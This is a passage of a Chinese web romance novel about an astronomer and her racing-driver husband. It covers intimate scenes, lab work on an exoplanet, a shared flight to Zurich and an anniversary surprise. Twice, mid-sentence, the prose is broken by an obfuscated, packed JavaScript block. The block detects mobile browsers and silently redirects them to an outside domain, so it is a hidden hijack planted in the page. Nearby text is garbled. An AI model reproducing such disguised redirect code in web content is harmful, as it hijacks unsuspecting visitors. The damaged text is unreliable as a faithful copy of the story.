他的吻从粗暴逐渐变得绵长,舌尖描摹着她的唇形,像是要把这个承诺刻进她身体里。 他随手从床头柜上拿出一盒,一股脑儿全都倒了出来,铝箔被撕开。 男人撑起身子,呼吸粗重:“可以吗?” 温木惊讶于他恢复的速度,舔了舔发麻的嘴唇,轻轻推他:“别太凶。” 他低笑,俯身咬住她颈侧的细嫩肌肤:“我什么时候让你失望过,嗯?” 舌尖安抚般滑过刚才的齿痕。 “今天晚上,让你见识下赛车手的控制力。” 41. For us 温木咬住下唇,指尖深深陷入宋星燃的后背。 那种温柔到极致的缠绵反而让她浑身发颤,像被悬在悬崖边缘,既落不下去又攀不上顶峰。 “这样,温老师还满意吗?” 宋星燃撑起身子,黑发被汗水打湿黏在额前,嘴角挂着坏笑。 温木用清冷的眸子瞪他,声音却软得不成样子:“你是不是不行?” “我可是严格按照温老师的要求做的。”他俯身在她耳边低语,故意放慢动作。 温木气得抬脚踹他:“赛车手连加速都不会?” 宋星燃眼神一暗,扣住她的手腕压过头顶:“那你坐稳了。” 下一秒,天旋地转。 温木的世界只剩下晃动的天花板和男人灼热的呼吸,像被卷入一场星际风暴。 晨光透过纱帘时,温木正蜷在被子里数宋星燃的睫毛。男人熟睡时眉目舒展,张扬的棱角被晨光柔化。 这张脸,的确是很漂亮。 目光落在他左肩的牙印上,是昨晚她实在受不了留下的痕迹,在冷白肌肤上格外显眼。 床头柜的手机震动。 温木轻手轻脚地够过来,屏幕上跳出徐樾声的消息:【阿木姐,有件事忘了跟你说,Kepler-13b的光变曲线有问题,咱有空视频会议一下?】 她看了眼时间,挪威中午十二点。正要回复,腰间突然一紧,整个人被捞进滚烫的怀抱。 “才睡了四小时。”宋星燃把脸埋在她颈窝,声音带着浓重的睡意,“你们搞科研的都不用休息?” 温木戳了戳他肩膀:“你昨晚可不是这个态度。” 男人低笑,晨起的胡茬蹭得她发痒:“那我现在补个早安吻?” 说着就要翻身压上来。 “别闹。”温木抵住他胸口,“有急事。” 宋星燃哀叹一声松开手,却在她起身时突然拽过自己的笔记本电脑:“用这个,屏幕大。” 他熟练地输入密码,桌面壁纸赫然是他们在极光下的婚纱照。 视频接通瞬间,众人齐刷刷瞪大眼睛。 温木穿着明显过大的男士衬衫,锁骨处可疑的红痕若隐若现,身后床头还搭着条肌肉分明的手臂。 “咳。”于茉战术性咳嗽,“那什么,我们是不是打扰你们了。” 温木耳根发烫,啪地合上笔记本。 转身时男人已经赤着上身靠在床头,眼睛满是促狭:“温老师为人师表的形象——” 一个枕头精准砸在他脸上。 “闭上你的嘴巴。” * 温木还是拉着宋星燃赶在宁大开学的前一天回了国,并且在第二天就毅然决然地投向天文大楼实验室的怀抱。 对此,某位宋姓男子表示十分不满意。 但那又能怎样?自己的老婆,自己宠呗。 会议室里,Kepler-13b的光变曲线投影在幕布上。这颗距离地球1700光年的热木星正以每1.76天绕母恒星一周的速度疯狂公转,表面温度高达2700开尔文。 “问题出在这里。”徐樾声激光笔指向一组异常波动,“Hα吸收线比预期弱了40%,但钠D线又强得出奇。” 孟孟翻着文献皱眉:“这不符合热木星的大气模型。” “除非,”温木放大光谱图某处,“这里有云层。” 会议室一片哗然。热木星的高温环境理论上不可能存在云层,但温木指出的光谱特征确实与云层散射效应吻合。 “需要重新建模。”于茉拍板,“阿木,你负责……” 话音未落,会议室门被推开。 宋星燃拎着两个纸袋走进来,黑色高领毛衣衬得肩线格外利落:“各位老师,下午茶到了。” 实验室众人眼神微妙地在温木和他之间来回扫视。 来不及思考这人是怎么混进来的,温木强作镇定地接过纸袋:“谢谢,放这就好。” 宋星燃却径直走到她身边,俯身看屏幕:“这是那个烤土豆行星?” “是热木星。”温木纠正。 男人指向光谱图某处,“这个凸起,像不像赛车尾翼的气流扰动?” 满室寂静。 温木抓过鼠标放大他指的区域——那处曾被忽略的微小波动,确实与流体力学中的卡门涡街特征高度相似。 “你……”她抬头看他,金丝眼镜后的眼睛微微睁大。 宋星燃无辜耸肩:“去年车队做风洞实验时见过类似曲线。” 说着从纸袋取出杯奶茶插好吸管,“三分糖加燕麦,你喜欢的。” 等男人离开后,实验室瞬间炸锅。 吴桐捂嘴尖叫:“救命啊姐夫刚才那个俯身动作太撩了吧!” 于茉则盯着温木脖子上的吻痕冷笑:“某些人昨晚还说工作忙?” 温木咬着吸管假装没听见,指尖却无意识摩挲着奶茶杯上的便利贴: 【今晚吃火锅?我买了你喜欢的竹荪。PS:别太想我】 厨房飘出菌汤火锅的香气时,温木正对着笔记本皱眉。Kepler-13b的新模型运行到第17次依然报错,屏幕上的红色警告刺得她眼睛发酸。 “张嘴。”宋星燃突然凑过来,筷子夹着片涮好的肥牛。 温木下意识含住,鲜美的肉汁在舌尖炸开。她这才发现餐桌上电磁炉咕嘟冒着泡,鸳鸯锅两边分别是红油和菌汤,周围摆满她爱吃的配菜。 “先吃饭。”男人抽走她的电脑,“徐樾声说你再不休息他要报警了。” 温木惊讶:“你加他微信了?” “何止。”宋星燃得意地晃手机,“你们实验室所有人的联系方式我都有。” 说着给她盛了碗竹荪鸡汤,“于茉说你这周平均每天睡四小时?” 温木小口喝着汤,突然想起什么:“你最近怎么总看经济学的书?” 宋星燃涮毛肚的手顿了顿:“就,随便看看。” “《宏观经济学理论》?《货币金融学》?”温木挑眉,“宋少爷的''随便''挺特别。” 火锅蒸腾的热气模糊了男人的表情。 他夹起一筷子娃娃菜放进她碗里:“快吃,要煮烂了。” 饭后,温木被强行按在沙发上休息。 宋星燃收拾完碗筷,拿着她的电脑坐在地毯上:“那个报错代码,我看看?” 温木撑起身子:“你会?” “不会。”他坦然承认,“但车队程序员教过我debug基本逻辑。” 她凑过去看他操作。男人的侧脸在台灯下格外立体,修长手指在键盘上敲击的样子莫名性感。 但十分钟后,他懊恼地把电脑推回来:“见鬼,这个矩阵运算我搞不定。” 温木接过电脑,注意到控制台提示的异常参数。她飞快调出原始数据文件,在第七行发现被错误标注的波长区间,这个细微到几乎被所有人忽略的录入错误,才是真正的罪魁祸首。 “找到了。”她修改完参数,重新编译代码。 进度条飞速推进,最终弹出绿色PLETE”提示时,宋星燃猛地搂住她的腰:“我老婆果然是天才!” 温木转身亲了亲他脸颊:“军功章算你三分之一。” “至少排除了错误方向。” 男人趁机将她扑倒在沙发里,鼻尖蹭着她颈窝:“那剩下三分之二怎么奖励?” 他声音闷在衣料里,温热的唇贴着她锁骨处的脉搏。 温木指向书房:“《天体物理学期刊》最新一期,我帮你放桌上了。” “......” 深夜的书房里,两盏台灯各自照亮一隅。温木核对数据时,余光瞥见宋星燃正对着本《公司金融》做笔记,眉间皱出深深的沟壑。 床头柜的日历翻到3月2日,距婚礼刚过去十天,距F1新赛季开幕还有十七天。 温木突然意识到,他看那些经济学著作的时间,恰好是从爷爷奶奶回国参加婚礼后开始的。 “宋星燃。”她轻声唤他。 男人抬头:“嗯?” 温木想问的话在舌尖转了一圈,最终变成:“要不要来杯咖啡?” * 三月的宁川迎来倒春寒。 实验室里,温木裹紧羊毛披肩,盯着屏幕上Kepler-13b的最新光谱图。经过两周攻关,团队终于确认这颗热木星高层大气中存在由钛氧化物组成的云层,这一发现足以改写教科书。 实验室的警报声突然变成欢快的“好运来”时,所有人都愣住了。徐樾声手忙脚乱地关掉程序,屏幕上《天体物理学杂志》的接收函正在闪烁。 “通过了!”孟孟尖叫着跳起来,手里的文件夹撒了一地。 于茉一把抱住温木:“我就知道!钛氧化物云层!这绝对能上年度十大发现!” 温木被撞得后退两步,金丝眼镜歪到一边。她扶正眼镜,嘴角不自觉上扬:“只是初审通过,还要等同行评议。” “管他呢!初审过了后面还用愁吗!” 实验室瞬间炸开锅。徐樾声翻出珍藏的巧克力分发,孟孟嚷嚷着要开香槟,于茉已经掏出手机开始订餐厅。温木看着闹成一团的同事们,忽然想起去年刚回国时,这个项目还只是于茉随口一提的设想。 黄昏的光线透过百叶窗,将欢呼的人影拉得很长。 一行人吵吵闹闹走出实验楼,温木一眼就看到了校门口的宋星燃。 “又来了又来了!”孟孟掐着吴桐的胳膊小声尖叫,“今天的花是满天星!我赢了,五毛钱!” 温木无奈地摇头。自从宋星燃成为宁大论坛的常驻话题后,这种场面她已经见怪不怪。 她平静地走到男人面前:“怎么又买花?” 宋星燃挑眉,把花束塞进她怀里:“因为我知道今天有好消息。” “你怎么会知道?”温木惊讶地接过花,里面还藏着盒Godiva巧克力,“我们也才刚收到邮件。” “因为我姓宋。”男人得意地扬起下巴,露出那颗标志性的虎牙。 阳光在他睫毛上跳跃,衬得那双眼睛格外明亮。 于茉翻了个白眼:“意思是宋家买了天文台?” “意思是——”宋星燃变魔术般从车里拿出几个礼盒分给众人,“我老婆的项目不可能失败。” 经过激烈讨论,众人最终决定去吃新开的重庆老灶火锅。 宋星燃凑到温木耳畔小声抱怨:“我酒店都订好了。” “吃火锅也一样。”温木推了推眼镜,“天冷,吃热的暖和。” “你不是不太能吃辣吗?” “又菜又爱玩。”温木瞥他一眼,“明白了?” 宋星燃低笑,指腹蹭过她耳垂:“看来温老师也很有挑战精神嘛。” “要是能把这种精神,用在别的地方就好了。” 温木伸出食指戳戳男人的脑袋:“你要是能把心思用在别的就好了。” 于茉表示一定要体验一下宋三少的兰博基尼。能让他看上的车,感觉绝对不一般。于是乎,四位女士都钻进了兰博基尼,徒留徐樾声一个人坚守着他的帕萨特。 两辆车一前一后驶向市区。 兰博基尼里,孟孟和吴桐在后座兴奋地自拍,于茉则对着后视镜补口红。 温木系好安全带,听见宋星燃轻声问:“累不累?” 她摇头,男人已经调低了座椅靠背:“睡会儿,到了叫你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382272|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>火锅店的包厢里蒸汽氤氲。 红油锅底翻滚时,于茉举杯:“首先,敬我们温老师——全宇宙最较真的科学家!” “上次我数据差0.1%她让我重做了三遍!”吴桐立刻附和。 “文献综述标点符号错了都要改。”孟孟补充。 温木抿了口果汁,耳尖微红。宋星燃在桌下握住她的手,拇指轻轻摩挲她的指节。 “干什么?” “没事儿啊,就是让你知道,我不嫌弃你。” 酒过三巡,宋星燃从口袋里拿出个深蓝色丝绒盒子:“庆功礼物。” 盒子里是一对蓝宝石袖扣,宝石切割成六边形,镶嵌在铂金底座中,在灯光下折射出深邃的光芒。 “实验室不能戴首饰。”温木小声提醒。 “不是让你做实验戴的。”宋星燃取出其中一枚,轻轻别在她衬衫袖口,“下个月你不是有学术报告会吗,配你那套藏蓝色西装。” 温木怔住了。她确实有场重要的学术报告,但从未跟他提过具体日期。 “你怎么知道的?” “你书桌上的会议通知。”宋星燃得意地眨眼,“宋氏情报网,无所不知。” 于茉突然把酒杯重重一放:“宋少爷,敢不敢跟我喝一轮?” 接下来的场面一度失控。于茉以“测试酒量”为由,接连灌了宋星燃三杯茅台。男人来者不拒,喝到第四杯时眼神开始迷离,黑发软趴趴地耷拉在额前,像只醉醺醺的大型犬。 “不行了。”他抱住温木的腰,脑袋在她肩上乱蹭,“老婆救我。” 温木无奈地看向徐樾声:“帮忙抬上车?” 徐樾声擦汗:只要不破坏姐夫好事就好。 回星河湾的路上,宋星燃歪在副驾驶睡得正香。月光透过天窗洒在他脸上,勾勒出优越的鼻梁线条。温木等红灯时忍不住伸手,轻轻拨开他额前的碎发。 车刚停稳,男人突然睁开眼:“到家了?” 没等回答就踉踉跄跄下车,非要背她进门。 “重吗?”温木搂着他脖子问。 “重。”他故意摇晃两下,“毕竟背着我的整个宇宙。” 夜风拂过梧桐树梢,沙沙作响。 温木笑着捶他肩膀,却听见他突然说:“下周三我飞巴塞罗那。” 她的手臂微微收紧。新赛季要开始了,这意味着接下来大半年,她和他相隔两地,只能通过电视直播看他比赛。 “嗯。”温木把脸贴在他后颈,“比赛顺利。” 宋星燃停住脚步,转身望向夜空。木星在三月晴朗的夜空中格外明亮,像颗温柔的宝石。 “看到那颗星了吗?”他轻声说,“每次我想你的时候,就会看看它。” 温木望着那颗星辰,目光平静,悠悠开口:“我会去看你比赛的。” “什么?” “四月的上海站,五月的蒙扎。”她数着赛历,“只要不撞上观测窗口。” “我都会去看你。” 男人猛地把她放下来,转身紧紧抱住。他的心跳又快又重,震得她耳膜发颤。 “不许反悔。”声音带着酒气和哽咽,“我录音了。” 温木笑:“你哪里来的录音?” “脑子里,心里,全都录下来了。” 男人将她打横抱起,直接冲向别墅。 温木:“你干什么!” 宋星燃眼睛亮得惊人,哪还有半分醉态:“回家!我得抓紧时间把未来八个月的份都补上!” * 宁川国际机场的VIP通道前,温木看着宋星燃第三次折返。 “护照真的带了?”男人捏着她的指尖不放。 “在西装内袋。”温木无奈地指了指他胸口。 宋星燃又摸了摸裤袋:“登机牌呢?” “你刚才亲手交给地勤了。” 广播响起最后登机提醒,空乘人员已经频频看向这边。 温木轻轻推他:“快去吧。” 男人一把将她搂进怀里,下巴抵在她发顶深深吸气,像是要把她的气息刻进肺里。温木安静地任他抱着,揪住他风衣后襟。 “到了给我发消息。”她最终松开手,声音比平时软了几分。 头等舱内,宋星燃把座椅调到最大倾斜度,还是觉得浑身不自在。八个座位只坐了他一个人,更显得空间空旷得恼人。他摸出手机,对着舷窗拍了张照片。 【[照片]头等舱就我一个人】 【椅子好硬】 【空姐给的毯子有消毒水味】 【温老师想我了没?】 没有回复,可能是在回去的路上吧。 宋星燃闭眼靠在座椅上,昨晚的画面不受控制地浮现。温木跨坐在他腰间,月光透过纱帘在她背上投下斑驳的光影。她难得主动,却因为害羞不肯开灯,只能借着窗外微弱的光线看清彼此。 他突然睁开眼。 早上起来的时候,她好像打了个喷嚏? 手机重新开机,他迅速敲字: 【记得让妈给你煮碗姜茶】 “叮咚——” 后方传来消息提示音。 男人皱眉,继续发: 【记得想我】 “叮咚——” 又是一声近在咫尺的铃声。 “麻烦你……” 宋星燃不耐烦转头,话到嘴边却停住。 一只白皙的手正搭在他座椅靠背上。 顺着那纤细的手指往上,他看见了熟悉的蓝宝石袖扣,再往上—— 温木歪头看着他,手机屏幕还亮着他刚发的消息。她晃了晃手机,镜片后的眼睛弯成月牙。 “又见面了,宋少爷。” 42. For us 男人那张向来张扬的帅脸此刻呆愣得近乎滑稽。一簇黑发不听话地翘起,随着他转头的动作轻轻晃动。 他就这样盯着温木看了足足十秒,然后低头,狠狠掐了自己大腿一把。 “嘶——”疼得皱眉,不是梦。 再次抬头时,温木已经在他旁边的座位坐下,正把登机箱塞进前方座椅下方。蓝宝石袖扣在机舱灯光下闪烁,衬得她手腕愈发白皙。 “老婆,”宋星燃声音发紧,“你怎么会在这儿?” 温木伸手捋平他翘起的头发,指尖擦过发烫的耳廓:“因为工作。” 男人猛地抓住她手腕,仰头时喉结剧烈滚动:“到底怎么回事儿?你别吓我。” 温木无奈解释:“Schmidt教授很看重Kepler-13b的发现,希望我负责欧洲站的后续观测。” “你接受了?”男人嗓子发干。 “嗯。”温木推了推眼镜,“半年期访问学者,苏黎世大学。” 一周前,高崇华教授告诉她这个消息时,她几乎是立刻订了机票。等付款成功的短信弹出,温木才后知后觉地扶额,自己什么时候变得这么冲动了? 但转念一想,既然都要去欧洲,那就坐一班飞机好了。 “所以,”宋星燃喉结滚动,“你早就计划好了?” 温木点头。 想起这周某人变本加厉的粘人程度。每晚都要折腾到凌晨,今早更是把她按在浴室墙上又来了一次,美其名曰“预支未来八个月的份”。 但现在,看着宋星燃呆滞的表情,她觉得这秘密守得值了。 “真的是工作需要?”男人突然认真起来,“不是,为了迁就我?” 温木挑眉:“宋少爷别误会,这可不是为了你。” 指尖点了点平板上的星云图,“是为了我的星星事业。” “那于茉的项目怎么办?” “最难的数据建模已经完成了。”温木轻笑,“剩下的他们能搞定。” 男人一把抱住她的腰,脸埋在她颈窝深深吸气,呼吸是颤抖的。 “先生,女士,请系好安全带。飞机马上就要起飞了。”金发空姐礼貌提醒。 温木嫌弃地推开怀里毛茸茸的脑袋,无视身旁男人委屈的目光:“看什么,坐好。” 直到飞机爬升至平流层,宋星燃还时不时偷瞄身旁的人。温木打开笔记本处理数据时,他假装看杂志;空乘送来餐食时,他故意多要了份她喜欢的提拉米苏。 “宋星燃。”温木合上电脑。 “嗯?” “你再这样盯着我看,”她转头,眼睛微微眯起,“我就换座位。” 男人立刻正襟危坐,但不到五分钟,手指又开始不安分地玩她发尾。 啊。 好像有点丢脸。 * 苏黎世湖东岸的公寓透着典型的“宋星燃风格”。客厅墙上挂着F1赛车的碳纤维部件,书架上摆满奖杯,连茶几都是轮胎造型。唯一格格不入的是阳台上那台天文望远镜,镜筒上贴着小熊贴纸,明显是后来添置的。 “有人定期打扫,很干净。”宋星燃把行李箱推进主卧,目光扫过kingsize的大床,耳尖突然红了。 温木打开衣柜,一半空间已经清空。她取出衣物整理时,第十二次捕捉到某人偷看的视线。 “其实你可以直接看。” 男人愣了下,摸着后颈讪笑:“我就是,有点不敢相信。” 不敢相信,不用异地,每天能抱着她睡觉,还能在他们待过的地方创造新的回忆。 晚餐是简单的番茄牛肉面。宋星燃围着围裙在开放式厨房忙碌的样子意外地居家,肌肉线条在白色T恤下若隐若现。 温木坐在岛台边晃着腿,随口问起:“你住这里的话,去布鲁塞尔总部方便吗?” “车队今年重心在风洞实验室,”宋星燃把煎蛋铺在她碗里,“远程会议就行,重要测试再去。” 他顿了顿,“倒是你,那个教授,具体研究什么?” “天体物理学。”温木夹起一筷子面,“和我不完全一样。” 玻璃杯与大理石台面碰撞出清脆声响。 男人喝水的手顿住,喉结缓慢滚动。阳光在他睫毛上投下细碎阴影,掩住了骤然暗沉的眼神。 “教授是男的女的?”他状若随意地问。 “男的。” “多大年纪?” 温木放下筷子,平静地看着他:“五十了,很老了。收拾收拾能当我爸了。” “这个回答,宋少爷还满意吗?“ 宋星燃嘴角抽了抽,低头猛扒两口面:“随口一问。” 温木:“你最好是。” 洗碗池里的泡沫漫到边缘时,温木的手腕被握住。男人的掌心带着潮湿温度,黑色碎发垂在额前。 “我来。” 他不由分说地抽走她手中的海绵,黑色毛衣袖口卷到手肘,露出线条分明的小臂。宽肩窄腰被黑色布料包裹,脊椎线条在动作间若隐若现。 水流声里,他忽然回头:“站着干什么?去洗澡。” 浴室水汽氤氲。温木擦着头发出来,宋星燃正倚在落地窗前打电话。他换了件深灰色家居裤,上半身赤裸着,手机贴在耳边,正用流利的德文说着什么。 她隐约捕捉到几个词,“天体物理”“教授”“苏黎世”。 毛巾停在发梢,温木索性靠在门框上,水珠顺着她脖颈滑进睡衣领口。 男人转身,通话中的声音戛然而止。 电话那头还在说着什么,但他的目光已经黏在温木身上。 湿发垂在她肩头,白色棉质睡衣被水汽晕出几处半透明的痕迹。最要命的是那双腿,明明穿着及膝的睡裤,走动时布料晃动,反而比直接裸露更让人喉头发紧。 “就这样。”他突兀地挂断电话,喉结滚动。 温木走到迷你吧台倒了杯水:“谁的电话?” “车队。”宋星燃把手机扔到沙发上,抓起搭在椅背上的T恤往头上套,“风洞测试的事。” 水杯在吧台上轻轻一磕。 温木看着黑色布料落下,遮住他精壮的腰腹:“用德文讨论风洞测试?” “瑞士工程师。”他走进卫生间,出来时手里多了吹风机,走到她身边,“转身。” 温热的风穿过发丝,男人的手指穿梭在她发间,偶尔擦过头皮引起细微战栗。 温木盯着玻璃窗上两人的倒影出神。宋星燃垂眸时睫毛在眼下投出扇形阴影,薄唇抿成一条直线,是专注时特有的表情。 “宋星燃。” 吹风机声音停下:“嗯?” “你刚才在查什么?” 空气凝固了一秒。 吹风机重新响起时,他的声音混在噪音里有些模糊:“说了,车队的事。” “你在查天体物理系的访问学者?” 水珠从女人鬓角滑落,顺着下巴滴在锁骨上。 宋星燃的视线追着那滴水,直到它消失在衣领深处。他忽然伸手扣住她后颈,拇指摩挲着那块细嫩的皮肤。 “温老师,你确定要现在讨论这个?” 吹风机的电线缠在两人之间,像某种无形的桎梏。 温木仰头看他:“你查人家老教授干什么?” “不放心。” “怎么就不放心了?” 男人凑近,抱上她的腰:“外面坏人太多。怕你被人拐走了。” “是吗?”温木冷笑,“我看你最坏。” 宋星燃弯腰把她扛上肩头。天旋地转间,温木只来得及抓住他后背的衣料。 男人三两步走到床边,将她轻轻抛进羽绒被里,自己却站在床边没动。 “我去客房睡。”他转身时拳头攥得发白,“你好好休息。” 温木撑起身子:“站住。” 宋星燃背影僵住。 “转过来。”她命令道。 男人哑声说:“昨晚你累着了,今天好好休息。” “我又没说要做什么。” “那就别勾我,乖。” 温木气笑了:“不是,我干什么了我就勾你了?” 宋星燃不说话,只是沉着眸子看她。那眼神,活像要把她生吞了似的。 温木被看得发毛,扯过被子盖住自己,指挥道:“出去看书去。别打扰我。” 半晌,他才闷闷地“嗯”了一声。 温木摇头。 真是狗脾气。 不喜欢。 * 三月的苏黎世还带着冬末的寒意,温木裹紧驼色羊绒大衣,站在ETH主楼的拱门下。哥特式建筑的尖顶刺破灰蓝色天空,远处传来悠扬的钟声。 和四年前她离开时一模一样。 校园里已有早樱零星绽放,粉白花瓣落在她肩头。温木伸手拂去,指尖触到冰凉的花瓣。 “温博士?”身后传来试探的德语问候。 温木转身,看见一位戴着圆框眼镜的年轻女孩。 “我是Schmidt教授项目组的助理莉娜,”女孩腼腆地伸出手,“Schmidt教授说您今天会来,让我来接您,我们先去他那。” 穿过铺满鹅卵石的中央庭院时,温木的脚步不自觉地放慢。左侧的物理系大楼灯火通明,她曾在那里度过无数个不眠之夜;右侧的咖啡厅换了装潢,但那个靠窗的座位还在——她就是在那里完成了博士论文的最后一章。 “您以前在这里读书?”莉娜注意到她的目光。 “嗯。”温木点头,“准确来说,我还没有完全毕业。Schmidt教授是我的导师。” 莉娜睁大眼睛:“原来您就是Schmidt教授常说的那位中国学生!Maximilian教授的办公室墙上还挂着您解决彭罗斯猜想的手稿复印件!” 温木微笑。 她自认为不算是天文系里最有天赋的学生,但读书这些年来,一直都会受到称赞和关注。 她承认,这让她很高兴。 Schmidt教授的办公室在顶楼,推开门时,阳光正透过落地窗洒满整个房间。 白发苍苍的老教授从显微镜前抬头,蓝眼睛在看见温木的瞬间亮了起来。 “Luna!”他张开双臂,“你终于回来看我这个老头子了!” 温木被拥入带着古龙水香气的怀抱,教授的白大褂蹭过她的脸颊,和记忆中一样粗糙。 “教授,您看起来一点没变。” “胡说。”捏了捏她的肩膀,“你倒是变了。” 他退后一步,目光审视,“让我看看,头发长了,眼镜换了,还有……” “啊哈!” 温木下意识后退:“怎么了?” “这里。”Schmidt点点自己的左颈侧,狡黠地眨眨眼,“有人终于学会享受生活了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388923|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 温木的指尖触到那个尚未完全消退的吻痕,耳根发烫。 今早出门前宋星燃非要说她高领毛衣不够保暖,硬是给她围了条围巾——原来醉翁之意不在酒。 “教授,我结婚了。”她直接坦白,省去更多尴尬。 老教授先是瞪大眼睛,然后猛地拍桌而起,震得显微镜都晃了晃。 “上帝啊!是哪位勇士征服了我的冰山公主?” “他是个赛车手。”温木抿唇,“比我小五岁。” 老教授爆发出一阵大笑,差点被自己的口水呛到。 “Luna!”他擦着眼角,“我早就说过,你以后的伴侣,多半是一个比你小的男人。” “看,我说的对吧?” 温木无奈微笑。 “有照片吗?” 温木掏出手机,翻到相册里唯一一张合影。 Schmidt教授戴上老花镜仔细端详,嘴角越翘越高。 “我想,”他故意用蹩脚的中文说道,“这就是你们说的''天作之合''?” 温木低头喝了口水,没吭声。 天作之合? 天天做之合还差不多。 两小时后,温木抱着厚厚一叠资料走出办公室。莉娜等在门外,领她去Schmidt教授的项目组工作区。 “项目组每周二四下午开会,”女孩边走边介绍,“Schmidt教授说您可以直接参与Kepler-13b的核心数据分析。” 会议室里已经坐了七八个人,温木一眼认出几位ETH的老面孔。新成员们好奇地打量她,当莉娜介绍“这就是Schneider教授的高徒,解决彭罗斯猜想的温博士”时,有个棕发男生手里的咖啡杯直接掉在了地上。 “不可能!”他惊呼,“你看上去顶多二十五岁!” “二十九。”温木微笑,“而且已婚。“ 这下连老熟人们都震惊了。 Sarah夸张地捂住胸口:“等等,那个拒绝了我哥哥三次的Luna?结婚了?” 温木推了推眼镜,耳尖发红:“项目简介可以开始了吗?” 接下来的两周,温木像块海绵般吸收着新领域的知识。虽然研究方向与以往不同,但扎实的理论基础让她很快跟上进度。每天清晨,她总是第一个到实验室;夜深离开时,保安已经习惯为她留门。 “你不必这么拼。”第三周的组会上,教授皱眉看着她的黑眼圈,“数据建模可以慢慢来。” 温木摇摇头:“我想尽快完成基线分析。” 其实她没说的是,宋星燃下周要去意大利测试新车,她希望到时候能空出时间陪他。 * 某个周五的傍晚,教授宣布要请全体成员吃晚餐。 温木看了眼手机。七点整,宋星燃应该已经到家了。 “抱歉,”她收拾着笔记本,“今天我有约了。” Sarah挤眉弄眼:“和老公?” “Yes。” “结婚纪念日。” 会议室爆发出一阵善意的起哄声。 “快回家吧!”Schmidt挥挥手,“代我向那位勇敢的年轻人问好。” 地铁车厢轻微摇晃,温木盯着手机屏幕。对话框里最后一条消息停留在她下午发出的询问: 【晚上回来吃饭吗?】 宋星燃的回简单明了: 【回】 上周的巴林大奖赛是新赛季揭幕战,宋星燃罕见地在最后一个弯道失误,将几乎到手的冠军拱手让人。 她因为时差没能看直播,刷到新闻时,视频里的男人摘下头盔,黑发被汗水浸透,面对记者提问时嘴角绷得死紧。 “赛车调校有问题。”他当晚在电话里这样说,但温木听得出,他在掩饰着什么。 手机震动,新消息弹出: 火星哥:【到家了吗?】 Jupiter:【还有十分钟。】 火星哥:【知道了】 熟悉的站台出现在窗外,温木随着人流下车。三月夜晚的风还带着凉意,她裹紧大衣,快步走向公寓。 指纹锁“滴”的一声解开,门内一片漆黑。 “宋星燃?”她摸索着墙上的开关。 突然,眼镜被人摘下,一双温热的手从背后覆上她的眼睛,淡淡的雪松香气包围过来。 “别开灯。”宋星燃的声音贴着她耳畔响起,呼吸灼热。 温木心下了然。 “又准备了什么花样?” “不能告诉你。”丝滑的绸带覆上她的双眼,男人灵巧地打了个结,“但你可以猜。” “线索太少。”温木故意道,感觉他的指尖在她耳垂流连,引起细微战栗。 宋星燃低笑,牵起她的手:“跟着我。” 黑暗中,其他感官被无限放大。温木数着步子——穿过玄关(三步),绕过茶几(右转两步),地毯的触感从脚下消失,取而代之的是冰凉的木地板。有什么湿润的东西碰了碰她的裤脚。 她最终,似乎停在了客厅的中央。 男人从背后环住她的腰,下巴搁在她肩头。 “准备好了吗?“他的声音有些哑。 温木点头,心跳加速。 宋星燃的手指抚上她脑后的蝴蝶结,却没有立即解开。热气喷在她耳廓,让人战栗。 “老婆。” “纪念日快乐。” 43. For us 绸带滑落的瞬间,温木下意识闭眼,再睁开时,睫毛轻轻颤动。 “哇。” 声音不自觉从唇间溢出。 整个客厅变成了星海——数百颗星星灯从天花板垂落,在黑暗中发出柔和的暖光。蓝色妖姬铺满了每一处平面:茶几、餐桌、电视柜,甚至她的望远镜镜筒上都缠着一小束。花瓣在空调微风中轻晃,像是真的置身海底星空。 “好看吗?”宋星燃的声音从耳后传来,带着小心翼翼的期待。 温木缓慢地眨眼,视线还有些模糊。摘掉眼镜后,所有光线都晕染开来,星星灯变成毛茸茸的光团,蓝色花瓣融成一片雾霭。 但正是这种朦胧,让一切美得不真实。 “很好看。”她轻声说,每个字都浸在蜜里。 宋星燃低笑:“还不够。” 他忽然拍手。 “汪!” “汪汪!” 一团毛茸茸的白影从卧室方向冲来,爪子在地板上打滑两次才稳住。温木还没反应过来,膝盖就被湿漉漉的鼻子顶住。 “汽油?!” 她蹲下身,双手陷入厚实的毛发。 小哈士奇兴奋地往她怀里钻,尾巴摇成螺旋桨,舌头热情地舔她下巴。 宋星燃也跟着蹲下,手指挠着汽油耳后的绒毛。 他故意用委屈的语调;“为了看爸爸妈妈啊,汽油可吃了好多苦才来的呢。” 温木捧起小狗的脸。汽油左耳上那撮标志性的灰毛还在,鼻头因为长途运输有些干燥。她突然想起两周前视频时,宋星燃“随口”问过瑞士宠物入境政策。 “你……”她抬头,撞进宋星燃亮晶晶的眼睛。 男人嘴角翘着,一副等待表扬的表情。 “检疫手续办了多久?” “三天。”他得意地挑眉,“找了中国区的兽医朋友加急。” “飞行呢?” “跟我一班飞机。”宋星燃捏了捏汽油的爪子,“货舱有恒温舱,这小祖宗一路上睡得可香了。” 温木把脸埋进汽油蓬松的颈毛,嗅到淡淡的宠物香波味。小狗温暖的身躯在她掌心下起伏。 去年冬天在宁川的别墅,在他们的家里,汽油也是这样趴在她脚边,陪她熬夜处理数据。 “喜欢吗?”宋星燃凑近,呼吸拂过她耳廓。 温木没回答,微微转头,鼻尖几乎蹭上他的。宋星燃愣住,瞳孔在星灯映照下变成琥珀色。 